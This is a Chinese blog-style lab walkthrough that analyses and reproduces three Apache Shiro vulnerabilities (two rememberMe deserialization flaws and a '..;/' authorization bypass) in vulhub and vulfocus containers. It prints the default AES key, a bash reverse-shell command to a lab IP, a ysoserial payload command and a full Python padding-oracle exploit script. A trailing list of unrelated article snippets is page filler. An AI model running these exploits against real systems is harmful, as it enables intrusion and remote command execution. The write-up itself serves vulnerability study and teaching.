当前位置: 首页 > news >正文

Shiro框架漏洞分析与复现

Shiro简介

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性,可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

1、Shiro反序列化漏洞(CVE-2016-4437,Shiro-550)

漏洞原理:

shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

  1. 检索RememberMe Cookie的值

  2. 进行Base64解码

  3. 进行AES解码

  4. 进行反序列化操作

由于在第4步中的调用反序列化时未进行任何过滤,导致可以触发Java反序列化漏洞,进而在目标机器上执行任意命令。

由于使用了AES加密,利用该漏洞需要获取AES的加密密钥,在Shiro1.2.4版本之前AES的加密密钥为硬编码,其默认密钥的Base64编码后的值为 kPH+bIxk5D2deZiIxcaaaA==,于是就可得到Payload的构造流程:

恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie

目前官方通过去掉硬编码的密钥每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。

影响版本:Shiro <= 1.2.4

环境搭建:

使用 vulhub 搭建环境,路径:

vulhub/shiro/CVE-2016-4437

启动容器:

docker-compose up -d

在这里插入图片描述

访问 ip:8080 进入环境:

在这里插入图片描述
随便输入账号密码,勾选上 Remember me,抓包
在这里插入图片描述
可以看到响应包中出现了字段 set-Cookie: rememberMe=deleteMe,证明该系统使用了Shiro框架。

漏洞检测:

这里介绍两种检测 shiro 漏洞是否存在的工具。

第一种:Burp插件

下载链接 提取码:j43f
在这里插入图片描述
按照上面的流程安装好插件后,当 Burp 抓到Shiro的数据包时会自动进行检测,当发现存在Shiro默认key时会告警。
在这里插入图片描述

第二种:shiro_attack 下载链接

当目标系统存在漏洞时,检测结果如下图所示:
在这里插入图片描述

漏洞利用:

还是使用上面的工具,爆破出利用链
在这里插入图片描述
可以执行命令,来反弹个shell

bash -c 'exec bash -i &>/dev/tcp/192.168.50.131/7777 <&1'

在这里插入图片描述
在这里插入图片描述

2、Shiro反序列化漏洞(CVE-2019-12422,Shiro721)

漏洞原理:

和上面的 shiro550 差不多,只是 shiro721 用到的加密方式是 AES-CBC 加密,其中 AES 加密的 key 基本猜不到了,是系统随机生成的。但是这种加密模式可以通过 Padding Oracle Attack( Oracle 填充攻击 ),攻击者可以使用有效的 RememberMe Cookie 作为 Paddding Oracle Attack 的前缀,然后精心构造 RememberMe Cookie 来实施反序列化攻击。

这里的Oracle不是那个数据库,而是一种通过接收特定加密数据 , 解密并验证填充是否正确的方式。

攻击流程:

  1. 使用任意账户登陆目标网站,以获取一个合法的 RememberMe Cookie
  2. 将获取的值作为POA的前缀
  3. 加密反序列化的payload来构造恶意RememberMe Cookie
  4. 将构造好的恶意数据填充到 RememberMe Cookie 字段中并发送

必要条件:合法的RememberMe Cookie(需认证一次)

影响版本:Shiro < 1.4.2

漏洞环境:

使用 vulfocus 靶场的 shiro-721

复现过程:

1、先使用正确的账号密码登录后,在抓包获取合法 Cookie(勾选Remember Me),:
在这里插入图片描述
认证失败则只能得到 rememberMe=deleteMe

2、使用Java反序列化工具 ysoserial 生成 Payload:

java -jar ysoserial.jar CommonsBeanutils1 "ping dkngnv.dnslog.cn" > payload.class

ysoserial使用

下载源文件之后,通过maven编译生成jar包

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

会在target目录下生成ysoserial-0.0.6-SNAPSHOT-all.jar

或者可以直接下载最新的jar包,下载链接

3、通过 Padding Oracle Attack 生成 Evil Rememberme cookie:

Exp:

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import timeclass PadBuster(PaddingOracle):def __init__(self, **kwargs):super(PadBuster, self).__init__(**kwargs)self.session = requests.Session()self.wait = kwargs.get('wait', 2.0)def oracle(self, data, **kwargs):somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)self.session.cookies['rememberMe'] = somecookieif self.session.cookies.get('JSESSIONID'):del self.session.cookies['JSESSIONID']while 1:try:response = self.session.get(sys.argv[1],stream=False, timeout=5, verify=False)breakexcept (socket.error, requests.exceptions.RequestException):logging.exception('Retrying request in %.2f seconds...',self.wait)time.sleep(self.wait)continueself.history.append(response)if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):logging.debug('No padding exception raised on %r', somecookie)returnraise BadPaddingExceptionif __name__ == '__main__':import loggingimport sysif not sys.argv[3:]:print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )sys.exit(1)logging.basicConfig(level=logging.DEBUG)encrypted_cookie = b64decode(unquote(sys.argv[2]))padbuster = PadBuster()payload = open(sys.argv[3], 'rb').read()enc = padbuster.encrypt(plaintext=payload, block_size=16)print('rememberMe cookies:')print(b64encode(enc))
shiro_exp.py <url> <cookie value> <payload>
shiro_exp.py http://192.168.50.131:19013 SmfNcW9cXyL6gTts601iAULOw75rLeYT8dPtoZvIksPZg3bzUnsBTQSDAyFCptI6M8TQBoFPARAIC62r+FLv8I2Ap4GxwwWjCaVgRyVqUdDLQjYbXw8Um36CpAsy2nLzm0+u71k41588fAK9Ql7+3QU2BRYDKkLpl/iXwCZIsq9I3Vnrhoylt238vEUu0OzX+mGRyqMhms1rE4Jk4ZjSZoc8wRqnS0tT8FlqYSiHFQSsMiacxJqZ7iRYOblRG8pMJRWDqCUKJPY84Zx3O/l53gZ0YAPnuplS+3vD+I334zh5aNHgZuMSCv/0ekRhqEAFr1JwS1kd8hSCvTnkKgkjwY0uymox/9Oc6LlicXjS/arg/1/79wWR7qTjKCJpgENpt7oEhnPcLtmuLRguiiuPRXsUfFV+6ORJmX+ejd9Zx1KweCMD+3gz/LGQ76tifjv3wXembJJjdLPhi9g3lOsBcFlypkuUOrghMXvAHvzfHYu39ip/w9PCUdRkD3lbCOAj payload.class

此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 3个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

在这里插入图片描述

4、使用Evil Rememberme cookie 认证进行反序列化攻击:
在这里插入图片描述
接收到记录,同理也可以执行其它系统命令。
在这里插入图片描述
shiro721 也可以使用上面的工具,而且速度非常快。
在这里插入图片描述
在这里插入图片描述

3、Shiro权限绕过漏洞(CVE-2020-1957)

在 Apache Shiro 1.5.2 以前的版本中,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

漏洞原理:

Shiro框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc等拦截器。

  • anon拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。
  • authc为登陆拦截器,需要登陆才可以访问。

URL路径表达式通常为ANT格式。这个应用中对URL权限的配置如下:

@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login formchainDefinition.addPathDefinition("/logout", "logout");chainDefinition.addPathDefinition("/admin/**", "authc");return chainDefinition;
}
Ant格式:? 匹配一个字符* 匹配零个或多个字符串** 匹配路径中的零个或多个路径/**可以匹配路径,即可以匹配到/user/test/,而/*只能匹配到单个或多个字符串,即/user/test。

shiro会以分号将传入的URI进行截断,并将分号以及分号后面的数据进行清空,返回分号前面的URI数据,从而让/a/b;/c变为/a/b

Spring对于分号的处理方式与Shiro不同,Spring会先获取分号的位置,并检测分号后是否存在/,如果有,将/的位置记录在slashIndex变量中,并将分号前的数据与/之后的数据进行拼接,从而让/a/b;/c变为/a/b/c。返回处理后的requestURI。

由于Spring与Shiro的decodeAndCleanUriString方法不同,攻击者可以使用分号构造路径,绕过Shiro认证,并可以匹配Spring的动态控制器。

即URL请求过程:

客户端请求URL: /xxx/..;/admin/
Shrio内部处理得到校验URL为 /xxx/..,校验通过。
SpringBoot 处理 /xxx/..;/admin/,最终请求 /admin/,成功访问了后台请求。

影响版本:Shiro < 1.5.3

环境搭建:

靶场路径:

vulhub/shiro/CVE-2020-1957

启动容器:

docker-compose up -d

在这里插入图片描述

复现过程:

访问 /admin/ 目录
在这里插入图片描述
回显302跳转,构造恶意请求 /xxx/..;/admin/
在这里插入图片描述
成功绕过。

相关文章:

Shiro框架漏洞分析与复现

Shiro简介 Apache Shiro是一款开源安全框架&#xff0c;提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用&#xff0c;同时也能提供健壮的安全性&#xff0c;可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。 1、Shiro反序列…...

(数字图像处理MATLAB+Python)第七章图像锐化-第一、二节:图像锐化概述和微分算子

文章目录 一&#xff1a;图像边缘分析二&#xff1a;一阶微分算子&#xff08;1&#xff09;梯度算子A&#xff1a;定义B&#xff1a;边缘检测C&#xff1a;示例D&#xff1a;程序 &#xff08;2&#xff09;Robert算子A&#xff1a;定义B&#xff1a;示例C&#xff1a;程序 &a…...

C# | 内存池

内存池 文章目录 内存池前言什么是内存池内存池的优点内存池的缺点 实现思路示例代码结束语 前言 在上一篇文章中&#xff0c;我们介绍了对象池的概念和实现方式。对象池通过重复利用对象&#xff0c;避免了频繁地创建和销毁对象&#xff0c;提高了系统的性能和稳定性。 今天我…...

程序设计入门——C语言2023年5月10日

程序设计入门——C语言 1、window下安装gcc 课程来源&#xff1a;链接: 浙江大学 翁恺 程序设计入门——C语言 学习日期&#xff1a;2023年5月10日 1、window下安装gcc 如果想让gcc在windows下运行&#xff0c;需要将gcc&#xff0c;及对于的lib包&#xff0c;都安装到window…...

【2023华为OD笔试必会25题--C语言版】《03 单入口空闲区域》——递归、数组、DFS

本专栏收录了华为OD 2022 Q4和2023Q1笔试题目,100分类别中的出现频率最高(至少出现100次)的25道,每篇文章包括原始题目 和 我亲自编写并在Visual Studio中运行成功的C语言代码。 仅供参考、启发使用,切不可照搬、照抄,查重倒是可以过,但后面的技术面试还是会暴露的。✨✨…...

Grafana安装、升级与备份(02)

一、安装Grafana软件包 Grafana部署非常简单,直接使用yum命令从官网拉到安装再启动就可以了,本次使用的grafana版本为9.5.0 官网下载地址:Download Grafana | Grafana Labs # wget yum install -y https://dl.grafana.com/oss/release/grafana-9.5.0-1.x86_64.rpm # yum …...

【2023华为OD笔试必会25题--C语言版】《10 相同数字的积木游戏》——数组

本专栏收录了华为OD 2022 Q4和2023Q1笔试题目,100分类别中的出现频率最高(至少出现100次)的25道,每篇文章包括原始题目 和 我亲自编写并在Visual Studio中运行成功的C语言代码。 仅供参考、启发使用,切不可照搬、照抄,查重倒是可以过,但后面的技术面试还是会暴露的。✨✨…...

awk命令编辑

awk工作原理 逐行读取文本&#xff0c;默认以空格或tab键分隔符进行分隔&#xff0c;将分隔所得的各个字段保存到内建变量中&#xff0c;并按模式或者条件执行编辑命令。 sed命令常用于一整行的处理&#xff0c;而awk比较倾向于将一行分成多个“字段”然后再进行处理。awk信息…...

Pinia和Vuex的区别

Pinia和Vuex都是Vue.js状态管理库 Pinia是一个轻量级的状态管理库&#xff0c;它专注于提供一个简单的API来管理应用程序的状态。 相比之下&#xff0c;Vuex是一个更完整的状态管理库&#xff0c;它提供了更多的功能&#xff0c;比如模块化、插件和严格模式等。 Pinia是基于V…...

《C++高并发服务器笔记——第四章Linux网络编程》

计算机网络等相关知识可以去小林coding进行巩固&#xff08;点击前往&#xff09; 《C高并发服务器笔记——第四章》 4.1、网络结构模式1.C/S结构①C/S结构简介②C/S结构优点③C/S结构缺点 2.B/S结构①B/S结构简介②B/S结构优点③B/S结构缺点 4.2和4.3、MAC地址、IP地址、端口…...

NFS服务器搭建(案例)

目录标题 第一个问题1.安装软件包2.进入配置文件进行定义&#xff0c;并创建对应的资源文件3.客户端进行挂载&#xff0c;并查看挂载信息&#xff0c;修改挂载权限4.客户端查看挂载的信息 第二个问题1.服务端配置文件进行定义&#xff0c;并创建对应资源文件2.客户端进行挂载3.…...

ubuntu 22.04 安装 Docker Desktop 及docker介绍

目录 一、Docker Desktop 安装 1、我们先去官网下载安装包 2、Install Docker Desktop on Ubuntu 3、Launch Docker Desktop 二、Docker 介绍 什么是docker 如何使用docker docker是如何工作的 docker build docker run docker pull 一、Docker Desktop 安装 1、我们先…...

微前端中的应用隔离是什么,一般是怎么实现的?

微前端中的应用隔离是什么&#xff0c;一般是怎么实现的? 前言一、iframe 隔离二、Web Components三、JavaScript 沙箱隔离四、Shadow DOM 隔离总结 前言 微前端中的应用隔离是指将不同的微前端应用程序隔离开来&#xff0c;以确保它们之间不会相互影响或干扰。这种隔离可以通…...

【python pandas】合并文件并剔除重复数据

1.背景 工作中需要处理多个文件&#xff0c;每个文件里面有重复的数据&#xff0c;剔除重复数据&#xff0c;保留最新的数据 2.代码&#xff1a; import pandas as pd import osdl [] #person_list是文件路径 for i in range(person_list_len):#把文件df全部集合进列表dldl.a…...

Spellman高压电源X射线发生器维修XRB160PN480X4593

spellman高压发生器维修VMX40P5X4629&#xff1b;Spellman X射线发生器维修X4593系列 X射线源维修。 Spellman所拥有的变频器架构可以使高压电源获得高利用率的效率和功率密度。固体密封的高压模块进一步减少了尺寸和重量。 基于表面贴装控制电路的数字信号处理器提供通讯接口…...

msvcr120.dll丢失怎样修复?msvcr120.dll丢失修复的四个方法

打开软件跟游戏提示msvcr120.dll丢失&#xff0c;无法执行此代码怎么办&#xff1f;刚刚遇到这个问题&#xff0c;我都无从下手。家人们&#xff0c;你是不是也被这个问题也困扰过。msvcr120.dll是什么文件呢&#xff1f;经过我一个下午的时间研究&#xff0c;终于搞清楚了&…...

马哈鱼SQLFLow数据流生成介绍

马哈鱼数据血缘分析器是当前最流行的数据血缘关系(data lineage)管理工具之一&#xff0c;它是一种通过分析SQL脚本来自动发现数据流向的工具。它通过生成一个简洁的图表来显示数据仓库中表/视图和列之间的数据流。支持超过20种流行的数据库&#xff0c;包括 bigquery, couchba…...

使用 MVC 模式,实现简单登录功能 (Kotlin)

先放效果图&#xff1a; 第一张是登录页面效果图。用户输入登录名和密码&#xff0c;经过后台的非空验证和固定值验证&#xff0c;跳转到首页 第二张是首页效果图。用户点击 “update” 显示用户名和密码 这里的用户名和密码是后台设置的固定值&#xff0c;整体的登录逻辑特别…...

ASEMI代理LT8471IFE#PBF原装ADI车规级LT8471IFE#PBF

编辑&#xff1a;ll ASEMI代理LT8471IFE#PBF原装ADI车规级LT8471IFE#PBF 型号&#xff1a;LT8471IFE#PBF 品牌&#xff1a;ADI/亚德诺 封装&#xff1a;TSSOP-20 批号&#xff1a;2023 引脚数量&#xff1a;20 工作温度&#xff1a;-40C~125C 安装类型&#xff1a;表面…...

8. 100ASK_V853-PRO开发板支持MPP媒体处理平台

0.前言 ​ MPP 系统控制模块&#xff0c;根据芯片特性&#xff0c;完成硬件各个部件的复位、基本初始化工作&#xff0c;同时负责完成 MPP&#xff08;Media Process Platform 媒体处理平台&#xff09;系统各个业务模块的初始化、去初始化以及管理 MPP 系统各个业务模块的工作…...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

VB.net复制Ntag213卡写入UID

本示例使用的发卡器&#xff1a;https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽&#xff0c;大家好&#xff0c;我是左手python&#xff01; Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库&#xff0c;用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

Python爬虫实战:研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心

当仓库学会“思考”&#xff0c;物流的终极形态正在诞生 想象这样的场景&#xff1a; 凌晨3点&#xff0c;某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径&#xff1b;AI视觉系统在0.1秒内扫描包裹信息&#xff1b;数字孪生平台正模拟次日峰值流量压力…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架&#xff0c;允许使用简单的变成模型跨计算机对大型集群进行分布式处理&#xff08;1.海量的数据存储 2.海量数据的计算&#xff09;Hadoop核心组件 hdfs&#xff08;分布式文件存储系统&#xff09;&a…...

【Go语言基础【12】】指针:声明、取地址、解引用

文章目录 零、概述&#xff1a;指针 vs. 引用&#xff08;类比其他语言&#xff09;一、指针基础概念二、指针声明与初始化三、指针操作符1. &&#xff1a;取地址&#xff08;拿到内存地址&#xff09;2. *&#xff1a;解引用&#xff08;拿到值&#xff09; 四、空指针&am…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

R 语言科研绘图第 55 期 --- 网络图-聚类

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…...